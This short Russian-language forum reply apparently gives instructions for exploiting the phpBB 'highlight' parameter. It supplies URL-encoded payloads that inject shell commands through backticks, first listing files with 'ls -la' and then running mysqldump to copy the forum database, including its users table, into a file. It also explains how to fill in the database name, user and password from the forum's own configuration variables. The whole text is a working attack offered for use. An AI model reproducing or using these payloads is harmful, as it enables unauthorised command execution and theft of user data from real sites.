Скорее всего,выключен register globals.
Попробуй вот так:
p=123&highlight=%2527.$poster=%60ls%09-la%60.%2527
Вместо пробела %09
Дамп базы:
p=123&highlight=%2527.$poster=%60/путь/mysqldump%09-uИмяЮзераБазы%09-pПарольБазы%09ИмяБазы%09преф� �кс_users%09>%09db.sql%60.%2527

ИмяЮзераБазы:$poster=$dbuser
ПарольБазы:$poster=$dbpasswd
ИмяБазы:$poster=$dbname
Префикс:$poster=$table_prefix(обычно phpbb_)